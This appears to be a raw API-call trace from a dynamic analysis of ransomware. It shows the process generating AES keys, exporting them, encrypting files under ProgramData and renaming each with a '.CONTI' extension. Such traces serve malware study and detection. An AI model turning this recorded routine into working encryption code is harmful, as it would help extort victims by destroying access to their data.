	[0104.644] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0104.961] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d5d50 | out: phKey=0x17d5d50*=0x17c80f0) returned 1
	[0104.961] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5d54, pdwDataLen=0x497fc1c | out: pbData=0x17d5d54*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0104.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json")) returned 0x120
	[0104.963] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.963] GetLastError () returned 0x5
	[0104.963] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0104.963] GetProcessHeap () returned 0x1720000
	[0104.963] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0104.963] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0105.439] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c8570) returned 1
	[0105.439] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x497fc1c | out: pbData=0x17d38d4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0105.440] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml")) returned 0x20
	[0105.440] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.440] GetLastError () returned 0x5
	[0105.440] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0105.440] GetProcessHeap () returned 0x1720000
	[0105.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0105.440] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0105.691] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x17c7fb0) returned 1
	[0105.691] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x497fc1c | out: pbData=0x17d3444*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0105.692] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\vortexschemarequests.dat")) returned 0x20
	[0105.693] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.693] GetLastError () returned 0x5
	[0105.693] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0105.693] GetProcessHeap () returned 0x1720000
	[0105.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e39d8 | out: hHeap=0x1720000) returned 1
	[0105.693] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0106.263] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c85b0) returned 1
	[0106.263] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x497fc1c | out: pbData=0x17d3b1c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0106.264] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs")) returned 0x20
	[0106.264] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.264] GetLastError () returned 0x0
	[0106.264] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=1310720) returned 1
	[0106.264] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x140000
	[0106.265] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.265] SetEndOfFile (hFile=0x3ac) returned 1
	[0106.265] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.265] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.265] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.290] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.290] ReadFile (in: hFile=0x3ac, lpBuffer=0xd030000, nNumberOfBytesToRead=0x140000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x140000, lpOverlapped=0x0) returned 1
	[0106.295] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x140000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x140010) returned 1
	[0106.296] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.296] WriteFile (in: hFile=0x3ac, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x140010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x140010, lpOverlapped=0x0) returned 1
	[0106.299] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.299] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0106.300] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.300] CloseHandle (hObject=0x3ac) returned 1
	[0106.300] GetProcessHeap () returned 0x1720000
	[0106.300] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.300] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs"
	[0106.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs.CONTI") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs.CONTI"
	[0106.300] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs.CONTI" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs.conti")) returned 1
	[0106.301] GetProcessHeap () returned 0x1720000
	[0106.301] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.301] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0106.301] GetProcessHeap () returned 0x1720000
	[0106.301] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e42d8 | out: hHeap=0x1720000) returned 1
	[0106.301] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.040] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c7fb0) returned 1
	[0107.041] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x497fc1c | out: pbData=0x17d368c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.074] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml")) returned 0x20
	[0107.074] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.074] GetLastError () returned 0x0
	[0107.074] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=271) returned 1
	[0107.074] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.074] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.074] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.075] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.075] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.075] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.077] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.077] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x10f, lpOverlapped=0x0) returned 1
	[0107.077] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x10f, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x110) returned 1
	[0107.077] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.077] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x110, lpOverlapped=0x0) returned 1
	[0107.077] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.077] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.077] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.077] CloseHandle (hObject=0x2f4) returned 1
	[0107.077] GetProcessHeap () returned 0x1720000
	[0107.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.078] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml"
	[0107.078] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.CONTI"
	[0107.078] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.conti")) returned 1
	[0107.079] GetProcessHeap () returned 0x1720000
	[0107.079] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.079] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0107.079] GetProcessHeap () returned 0x1720000
	[0107.079] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cc88 | out: hHeap=0x1720000) returned 1
	[0107.079] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.079] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c85b0) returned 1
	[0107.079] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x497fc1c | out: pbData=0x17c534c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.080] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml")) returned 0x20
	[0107.080] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.080] GetLastError () returned 0x0
	[0107.080] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=271) returned 1
	[0107.080] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.080] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.080] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.081] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.081] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.082] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.083] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.083] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x10f, lpOverlapped=0x0) returned 1
	[0107.083] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x10f, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x110) returned 1
	[0107.083] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.083] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x110, lpOverlapped=0x0) returned 1
	[0107.083] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.083] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.083] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.084] CloseHandle (hObject=0x2f4) returned 1
	[0107.084] GetProcessHeap () returned 0x1720000
	[0107.084] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17e5440
	[0107.085] lstrcpyW (in: lpString1=0x17e5440, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml"
	[0107.085] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.CONTI"
	[0107.085] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.conti")) returned 1
	[0107.085] GetProcessHeap () returned 0x1720000
	[0107.085] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5440 | out: hHeap=0x1720000) returned 1
	[0107.085] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.085] GetProcessHeap () returned 0x1720000
	[0107.085] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0107.085] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.086] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c8270) returned 1
	[0107.086] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x497fc1c | out: pbData=0x17c5594*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.086] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.087] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.087] GetLastError () returned 0x0
	[0107.087] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=733) returned 1
	[0107.087] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dd
	[0107.087] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.087] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.087] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.087] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.087] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.089] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.089] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2dd, lpOverlapped=0x0) returned 1
